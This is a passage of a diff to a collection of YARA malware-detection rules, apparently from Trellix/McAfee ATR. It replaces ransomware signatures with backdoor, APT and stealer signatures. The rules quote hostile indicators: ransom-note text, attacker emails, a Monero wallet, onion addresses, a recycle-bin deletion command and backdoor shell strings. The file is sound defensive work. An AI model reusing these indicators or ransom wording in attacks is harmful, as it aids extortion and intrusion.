FEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB000000CCCCCCCCCCCCCCCCCCCCCCE97B000000CCCCCCCCCCCCCCCCCCCCCCE9CB000000CCCCCCCCCCCCCCCCCCCCCCE9BBFEFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B2D000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCC8B5C24048B44240889C1F00FC10301C88944240CC3CCCCCCCCCCCCCCCCCCCCCC8B5C24048B44240887038944240CC3CCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B442404A90700000074068B05000000008D5C24080F6F000F7F030F77C3CCCC8B442404A90700000074068B05000000000F6F4424080F7F000F77B800000000F00FC10424C3CCCCCCCCCCCCCCCCCCCC8B4424048A5C2408F00818C3CCCCCCCC8B4424048A5C2408F02018C3CCCCCCCC648B0D140000008B89000000003B610876098B4424088944240CC3E860550400EBDECCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240801000000E8AF4400008B44240C8944241C83C410C3E80E550400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240802000000E85F4400008B44240C8944241C83C410C3E8BE540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240810000000E80F4400008B44240C8944241C83C410C3E86E540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC83EC108D42048B008B4C2414890C248B4C2418894C240489442408E8D04300008B44240C8944241C83C410C3CCCCCCCC648B0D140000008B89000000003B6108762C83EC108B4424148B088B400489442408890C248B44241889442404E88E4300008B44240C8944241C83C410C3E8ED530400EBBBCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B600000083EC108B442414F30F10000F57C90F2EC175060F8B860000000F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240804000000E8C74200008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E80F530400E92AFFFFFFCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B800000083EC108B442414F20F10000F57C9660F2EC175060F8B87000000660F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240808000000E8E54100008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E82D520400E928FFFFFFCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E815FEFFFF8B44241083C0048B4C2408890424894C2404E8FEFDFFFF8B4424088944241883C40CC3E8CD510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E895FEFFFF8B44241083C0088B4C2408890424894C2404E87EFEFFFF8B4424088944241883C40CC3E86D510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86F200000083EC248B4424288B0885C974678B49048B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E8B2FA03008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8F46603008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E81E8E00008B44240C8B4C2408890C2489442404E87A3602000F0BE853500400E9EEFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EF00000083EC248B4424288B0885C974648B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E895F903008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8D76503008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E8018D00008B44240C8B4C2408890C2489442404E85D3502000F0BE8364F0400E9F1FEFFFFCC648B0D140000008B89000000003B61087606C644240C01C3 } + $byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 } condition: - uint16( 0 ) == 0x5a4d and filesize < 8000KB and all of them + ( uint32( 0 ) == 0x464C457F ) and filesize < 200KB and all of them } -rule TRELLIX_ARC_Bitpaymer_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Strings : BACKDOOR FILE { meta: - description = "Rule to detect BitPaymer Ransomware" + description = "Rule to detect APT Derusbi Linux Strings" author = "Marc Rivero | McAfee ATR Team" - id = "20b91cf2-2a84-55d9-8230-90d7b20a461f" - date = "2019-11-08" + id = "09e47580-9b20-5461-943e-32b932c36214" + date = "2017-05-31" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/spanish-mssp-targeted-by-bitpaymer-ransomware/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Bitpaymer.yar#L1-L72" + reference = "https://attack.mitre.org/software/S0021/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L132-L173" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "527cdbdf51e6f3f5d58e805cf4a1bc09c9d24880c2323046acef6ee03c92d62f" + logic_hash = "0e95497c44a0c1d85936a6a072063720a771b7e1eb8da2377e54577e3fc2764e" score = 75 - quality = 66 - tags = "RANSOMWARE, FILE" + quality = 68 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/BitPaymer" + malware_type = "backdoor" + malware_family = "Backdoor:ELF/Derusbi" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "IEncrypt.dll" fullword wide - $op0 = { e8 5f f3 ff ff ff b6 e0 } - $op1 = { e8 ad e3 ff ff 59 59 8b 75 08 8d 34 f5 38 eb 42 } - $op2 = { e9 45 ff ff ff 33 ff 8b 75 0c 6a 04 e8 c1 d1 ff } - $pdb = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword ascii - $oj0 = { 39 74 24 34 75 53 8d 4c 24 18 e8 b8 d1 ff ff ba } - $oj1 = { 5f 8b c6 5e c2 08 00 56 8b f1 8d 4e 34 e8 91 af } - $oj2 = { 8b cb 8d bd 50 ff ff ff 8b c1 89 5f 04 99 83 c1 } - $t1 = ".C:\\aaa_TouchMeNot_.txt" fullword wide - $ok0 = { e8 b5 34 00 00 ff 74 24 18 8d 4c 24 54 e8 80 39 } - $ok1 = { 8b 5d 04 33 ff 8b 44 24 34 89 44 24 5c 85 db 7e } - $ok2 = { 55 55 ff 74 24 20 8d 4c 24 34 e8 31 bf 00 00 55 } - $random = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+" fullword ascii - $oi0 = { a1 04 30 ac 00 8b ce 0f af c2 03 c0 99 8b e8 89 } - $oi1 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 64 } - $oi2 = { c7 03 d4 21 ac 00 e8 86 53 00 00 89 73 10 89 7b } - $ou0 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 60 } - $ou1 = { a1 04 30 04 00 8b ce 0f af c2 03 c0 99 8b e8 89 } - $ou2 = { 8d 4c 24 10 e8 a0 da ff ff 68 d0 21 04 00 8d 4c } - $oa1 = { 56 52 ba 00 10 0c 00 8b f1 e8 28 63 00 00 8b c6 } - $oa2 = { 81 3d 50 30 0c 00 53 c6 d2 43 56 8b f1 75 23 ba } - $oy0 = { c7 06 cc 21 a6 00 c7 46 08 } - $oy1 = { c7 06 cc 21 a6 00 c7 46 08 } - $oy2 = { c7 06 cc 21 a6 00 c7 46 08 } - $oh1 = { e8 74 37 00 00 a3 00 30 fe 00 8d 4c 24 1c 8d 84 } - $oh2 = { 56 52 ba 00 10 fe 00 8b f1 e8 28 63 00 00 8b c6 } + $a1 = "loadso" wide ascii fullword + $a2 = "\nuname -a\n\n" wide ascii + $a3 = "/dev/shm/.x11.id" wide ascii + $a4 = "LxMain64" wide ascii nocase + $a5 = "# \\u@\\h:\\w \\$ " wide ascii + $b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide + $b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide + $b3 = "ret %d" wide fullword + $b4 = "uname -a\n\n" wide ascii + $b5 = "/proc/%u/cmdline" wide ascii + $b6 = "/proc/self/exe" wide ascii + $b7 = "cp -a %s %s" wide ascii + $c1 = "/dev/pts/4" wide ascii fullword + $c2 = "/tmp/1408.log" wide ascii fullword condition: - ( uint16( 0 ) == 0x5a4d and filesize < 1000KB ) and ( $s1 and all of ( $op* ) ) or ( $pdb and all of ( $oj* ) ) or ( $t1 and all of ( $ok* ) ) or ( $random and all of ( $oi* ) ) or ( $random and all of ( $ou* ) ) or ( $random and all of ( $oa* ) and $ou0 ) or ( $random and all of ( $oy* ) ) or ( $random and all of ( $oh* ) ) or ( $random and $ou0 ) or ( $random and $oi1 ) + uint32( 0 ) == 0x464C457F and filesize < 200KB and ( ( 1 of ( $a* ) and 4 of ( $b* ) ) or ( 1 of ( $a* ) and 1 of ( $c* ) ) or 2 of ( $a* ) or all of ( $b* ) ) } -rule TRELLIX_ARC_Crime_Ransomware_Windows_Gpgqwerty : RANSOMWARE +rule TRELLIX_ARC_Apt_Elise_Pdb : BACKDOOR FILE { meta: - description = "Detect GPGQwerty ransomware" - author = "McAfee Labs" - id = "dcbaf3bd-7d0c-5449-a751-82caaad3b5c2" - date = "2018-03-21" + description = "Rule to detect Elise APT based on the PDB reference" + author = "Marc Rivero | McAfee ATR Team" + id = "cc8dd203-baad-5800-ba2c-f9c47d8ca6f0" + date = "2017-05-31" modified = "2020-08-14" - reference = "https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_GPGQwerty.yar#L1-L26" + reference = "https://attack.mitre.org/software/S0081/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_elise_pdb.yar#L1-L29" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8e77895cb8e7f33707c5080780a49cb4bf1d35aa7a8df829fdc7a93319ce3897" + hash = "b426dbe0f281fe44495c47b35c0fb61b28558b5c8d9418876e22ec3de4df9e7b" + logic_hash = "bb7eee8082aa0f6634a8c4cdb9cbe0e2a7f00b97e48609c81a21bdaac64a5496" score = 75 quality = 70 - tags = "RANSOMWARE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/GPGQwerty" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Elise" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $a = "gpg.exe –recipient qwerty -o" - $b = "%s%s.%d.qwerty" - $c = "del /Q /F /S %s$recycle.bin" - $d = "cryz1@protonmail.com" + $pdb = "\\lstudio\\projects\\lotus\\elise\\Release\\EliseDLL\\i386\\EliseDLL.pdb" + $pdb1 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\SetElise.pdb" + $pdb2 = "\\lstudio\\projects\\lotus\\elise\\Release\\SetElise\\i386\\SetElise.pdb" + $pdb3 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\Uninstaller.pdb" + $pdb4 = "\\lstudio\\projects\\lotus\\evora\\Release\\EvoraDLL\\i386\\EvoraDLL.pdb" condition: - all of them + uint16( 0 ) == 0x5a4d and filesize < 50KB and any of them } -rule TRELLIX_ARC_Ransom_Win_Blackcat : RANSOMWARE FILE + +rule TRELLIX_ARC_Milum_Trojan : TROJAN FILE { meta: - description = "Detecting variants of Windows BlackCat malware" - author = " Trellix ATR" - id = "65483ffb-6b10-5fd5-8a5f-fc885a5f2e98" - date = "2022-01-06" - modified = "2022-01-19" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Win_BlackCat_public.yar#L2-L24" + description = "Rule to detect Milum trojan from the Wildpressure operation" + author = "Marc Rivero | McAfee ATR Team" + id = "acc56237-a93a-55c0-a90c-11ca1da683db" + date = "2020-04-24" + modified = "2020-08-14" + reference = "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_milum_wildpressure.yar#L3-L28" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8faad28ab26690221f6e2130c886446615dbd505f76490cfaf999d130d0de6e3" + hash = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9" + logic_hash = "3ab1ff129517cb4a829edac289c00d7701d6f667ba2ef5a28024fd01a3a52e8e" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - malware_type = "Ransomware" - detection_name = "Ransom_Win_BlackCat" + tags = "TROJAN, FILE" + rule_version = "v1" + malware_type = "trojan" + malware_family = "Trojan:W32/Milum" + actor_type = "Apt" actor_group = "Unknown" strings: - $URL1 = "zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide - $URL2 = "mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide - $API = { 3a 7c d8 3f } + $pattern = { 558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????89??????????C7????????????8D????C7??????????33??6A??89??????????89????E8????????83????3B??0F84????????89????89??8B????89????8B????89????8B????C6??????8B????C6??????C6??????8B??????????BE????????89????89????88????C6??????6A??68????????8D??????????89??????????89??????????88??????????E8????????C6??????6A??538D????528D??????????89??????????89??????????88??????????E8????????C6??????8D??????????508B??E8????????508D??????????5157E8????????C6??????83????????????72??8B??????????52E8????????83????89??????????89??????????88??????????C6??????83????????????72??8B??????????50E8????????83????6A??68????????8D????89??????????89??????????88??????????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????83??????72??8B????51E8????????83????89????89????88????C6??????83??????72??8B????52E8????????83????6A??68????????8D????89????89????88????89????89????88????E8????????C6??????6A??538D????508D????89????89????88????E8????????C6??????83????8B??89??????????6A??89????89????68????????88??E8????????C6??????83????8B??89??????????6A??538D????89????89????5288??E8????????C6??????8D??????????50C6??????E8????????83????C6??????8B??????????2B??????????B8????????F7??03??C1????8B??C1????03??83????75??8B??????????6A??53528D????E8????????8B??????????6A??83????53508D????E8????????6A??538D????508D????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????BF????????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????8B??????????3B??74??8B??????????E8????????8B??????????50E8????????83????BF????????89??????????89??????????89??????????C6??????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????39????72??8B????50E8????????83????89????89????88????88????39????72??8B????51E8????????83????89????89????88????C7????????????39????72??8B????52E8????????83????8B??????????89????89????88????8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????8D??????????508D??????????89??????????E8????????C6??????C7??????????????????C6??????68????????8D??????????51E8????????CCCC558B??6A??68????????64??????????5051535657A1????????33??508D????64??????????8B????C7??????????C7????????????8D????33??83??????89????72??8B??EB??8B??8D????88??8B????8B????518B??E8????????8B????89????8B????89??8B????89????89????88????83??????72??8B??50E8????????83????89????C7????????????88??83????89????89????C7????????????8B????8B??50518D????E8????????89????8B????52E8????????83????8B????64????????????595F5E5B8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????505156A1????????33??508D????64??????????83????C7????????????8B????5156E8????????C7????????????C7????????????8B??8B????64????????????595E8B??5DC2????CCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????33??8B??89??????????8B????8B??89??????????89??????????89??????????3B??0F84????????8D????39??????????0F85????????68????????8D????5750E8????????C7????????????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????E9????????578D????68????????51E8????????C7????????????508D??????????52BA????????E8????????C6??????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????C6??????39??????????72??8B??????????50E8????????83????C7??????????????????89??????????88??????????88????39????72??8B????51E8????????83????C7????????????89????88????FF??????????38????75??8B????38????75??8B??8B??38????75??8D????8B??8B??38????74??EB??8B????38????75??3B????75??8B??8B????38????74??8B??8B??????????3B????0F85????????8B??????????8B??6A??5383????C7????????????89????508B??88??E8????????89????C7??????????????????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????C7????????????89????88????8B????64????????????595E5B8B??5DC3CCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????5356508D????64??????????33??89????538B??68????????8D????89????C7????????????89????88????E8????????C7????????????6A??8D????38????74??68????????EB??68????????E8????????8D????5083????8D????5651E8????????C6??????8D????52578B??E8????????83????C7????????????C6??????BE????????39????72??8B????50E8????????83????C7????????????89????88????88????39????72??8B????51E8????????83????C7????????????89????88????8B??8B????64????????????595E5B8B????33??E8????????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????F6??????C7????????????89????88????74??56E8????????83????8B??8B????64????????????595E5B8B??5DC2????CCCC558B??6A??68????????64??????????50A1????????33??508D????64??????????C7????????????6A??6A??8D????5083????E8????????C7????????????83??????72??8B????51E8????????83????C7????????????C7????????????C6??????8B????64????????????598B??5DC2????CCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????535657508D????64??????????33??89????8B????89????89????B8????????89????C7????????????89????88??89????8D????BF????????39????72??8B??8B????39????73??8D????8B????518D????518B??E8????????C6??????508B??E8????????C6??????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B??33??89????8B????89??????????89?????????? } condition: - uint16( 0 ) == 0x5a4d and filesize < 3500KB and 1 of ( $URL* ) and $API + uint16( 0 ) == 0x5a4d and filesize < 2000KB and pe.imphash ( ) == "548d9f5f1e74f34b85612667335d41f2" and all of them } -rule TRELLIX_ARC_Anatova_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Gauss_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect the Anatova Ransomware" + description = "Rule to detect Gauss based on PDB" author = "Marc Rivero | McAfee ATR Team" - id = "6e3205aa-42e4-5449-877e-37494cdd096b" - date = "2019-01-22" + id = "209223cc-16e5-5596-8744-21ad71b5ec2a" + date = "2012-08-14" modified = "2020-08-14" - reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Anatova.yar#L1-L25" + reference = "https://securelist.com/the-mystery-of-the-encrypted-gauss-payload-5/33561/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/gauss_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "97fb79ca6fc5d24384bf5ae3d01bf5e77f1d2c0716968681e79c097a7d95fb93" - logic_hash = "4fce15ad0ef2d3cb39f6092677f117308f847815cb2a5a491290a1f9d09776df" + hash = "7b0d0612b4ecc889a901115c2e77776ef0ea65c056b283d12e80f863062cea28" + logic_hash = "cb20c87ea976f395e000f2c631ffd52b09dca2af37adceafe5be72b37f75a997" score = 75 - quality = 45 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Anatova" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Gauss" + actor_type = "Apt" actor_group = "Unknown" strings: - $regex = /anatova[0-9]@tutanota.com/ + $pdb = "\\projects\\gauss\\bin\\release\\winshell.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and $regex + uint16( 0 ) == 0x5a4d and filesize < 550KB and any of them } -rule TRELLIX_ARC_Ransom_Monglock : RANSOMWARE FILE +rule TRELLIX_ARC_STEALER_Credstealesy : STEALER { meta: - description = "Ransomware encrypting Mongo Databases " - author = "Christiaan Beek - McAfee ATR team" - id = "4350a874-dd76-5379-af9f-f1d190385706" - date = "2019-04-25" + description = "Generic Rule to detect the CredStealer Malware" + author = "IsecG – McAfee Labs" + id = "90e23ed8-3243-519b-8eb4-9db5902c73d3" + date = "2015-05-08" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_MONGOLOCK.yar#L1-L41" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_credstealer.yar#L1-L24" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "245a7377a410828ed8bc7148f36af6d143ad20d16840238ed5b6d6f94f015984" + logic_hash = "3d007fc0d2e2eb3d8f0c2b86dd01ede482e72f6c67fd6d284d77c47b53021b3c" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "STEALER" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/MongLock" + malware_type = "stealer" + malware_family = "Stealer:W32/CredStealer" actor_type = "Cybercrime" actor_group = "Unknown" - hash5 = "c4de2d485ec862b308d00face6b98a7801ce4329a8fc10c63cf695af537194a8" strings: - $x1 = "C:\\Windows\\system32\\cmd.exe" fullword wide - $s1 = "and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! " fullword ascii - $s2 = "Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.1 BTC to our BitCoin" ascii - $s3 = "No valid port number in connect to host string (%s)" fullword ascii - $s4 = "SOCKS4%s: connecting to HTTP proxy %s port %d" fullword ascii - $s5 = "# https://curl.haxx.se/docs/http-cookies.html" fullword ascii - $s6 = "Connection closure while negotiating auth (HTTP 1.0?)" fullword ascii - $s7 = "detail may be available in the Windows System event log." fullword ascii - $s8 = "Found bundle for host %s: %p [%s]" fullword ascii - $s9 = "No valid port number in proxy string (%s)" fullword ascii - $op0 = { 50 8d 85 78 f6 ff ff 50 ff b5 70 f6 ff ff ff 15 } - $op1 = { 83 fb 01 75 45 83 7e 14 08 72 34 8b 0e 66 8b 45 } - $op2 = { c7 41 0c df ff ff ff c7 41 10 } + $my_hex_string = "CurrentControlSet\\Control\\Keyboard Layouts\\" wide + $my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8} condition: - ( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) + $my_hex_string and $my_hex_string2 } -rule TRELLIX_ARC_Ransom_Vovalex_Part2 : RANSOM FILE +rule TRELLIX_ARC_STEALER_Lokibot : STEALER FILE { meta: - description = "Vovalex ransomware detection part 2" - author = "CB @ ATR" - id = "26c91d06-13da-5039-8b8a-eb8de2774d79" - date = "2021-02-01" - modified = "2021-02-01" + description = "Rule to detect Lokibot stealer" + author = "Marc Rivero | McAfee ATR Team" + id = "75f502a3-2d9f-5ccf-93f8-2d6a73e9e1b7" + date = "2020-09-23" + modified = "2020-09-25" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Vovalex1.yar#L3-L42" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "82814fd9155ec910c6353de8336733704e05c9f02409ad99cd80da8ef9fe3c04" - score = 75 - quality = 64 - tags = "RANSOM, FILE" - malware_type = "Ransom" - malware_family = "Ransom:Win/Vovalex" - hash1 = "0604acc15196120db2f4ca922feb2a4c858a46123cb26e9af2ef97b4c7839121" - hash2 = "fe9ff27ec0a1a48cbb8bc043f260a656c221c6c61704187a390bc8da6f91103a" - hash3 = "3b198c367aca1d239abc48bdeb8caabf9b8f2b630071b8e0fd1e86940eab14d6" - - strings: - $x1 = "If you don't know where to buy Monero - visit these websites: https://www.bestchange.ru/ https://www.bestchange.com" fullword ascii - $s2 = "Full list: https://www.getmonero.org/community/merchants/#exchanges" fullword ascii - $s3 = ": https://www.getmonero.org/community/merchants/#exchanges" fullword ascii - $s4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" fullword ascii - $s5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" fullword ascii - $s6 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" fullword ascii - $s7 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" fullword ascii - $s8 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\random.d" fullword ascii - $s9 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\conv.d" fullword ascii - $s10 = "3. If everything is good, you will receive the decryptor." fullword ascii - $s11 = "Attempting to flush() in an unopened file" fullword ascii - $s12 = "Monero: 4B45W7V1sJAZBnPSnvcipa5k7BRyC4w8GCTfQCUL2XRx5CFzG3iJtEk2kqEvFbF7FagEafRYFfQ6FJnZmep5TsnrSfxpMkS" fullword ascii - $s13 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\padding.d" fullword ascii - $s14 = "crypto.aes.AES!(4u, 8u, 14u).AES" fullword ascii - $s15 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\aes.d" fullword ascii - $s16 = "Monero - " fullword ascii - $s17 = "std.random.uniform(): invalid bounding interval " fullword ascii - $s18 = "crypto.aes.AESUtils" fullword ascii - $s19 = "2. Send us a mail with proofs of transaction: VovanAndLexus@cock.li" fullword ascii - $s20 = "crypto.aes" fullword ascii - $op0 = { 48 8d 8d 10 ff ff ff e8 4a 22 fe ff f7 df 89 bd } - $op1 = { e8 60 6e fb ff 34 01 75 d6 4c 8b 46 40 48 8b 56 } - $op2 = { 4c 8d 85 40 ff ff ff 4c 8d 15 d2 78 02 00 4c 89 } - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 17000KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) -} - -rule TRELLIX_ARC_Ragnarlocker_Ransomware : RANSOMWARE FILE -{ - meta: - description = "Rule to detect RagnarLocker samples" - author = "McAfee ATR Team" - id = "58874f27-3070-52c9-bd96-337fdaa4499b" - date = "2020-04-15" - modified = "2020-10-12" - reference = "https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_ragnarlocker.yar#L3-L45" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_Lokibot.yar#L1-L39" license_url = 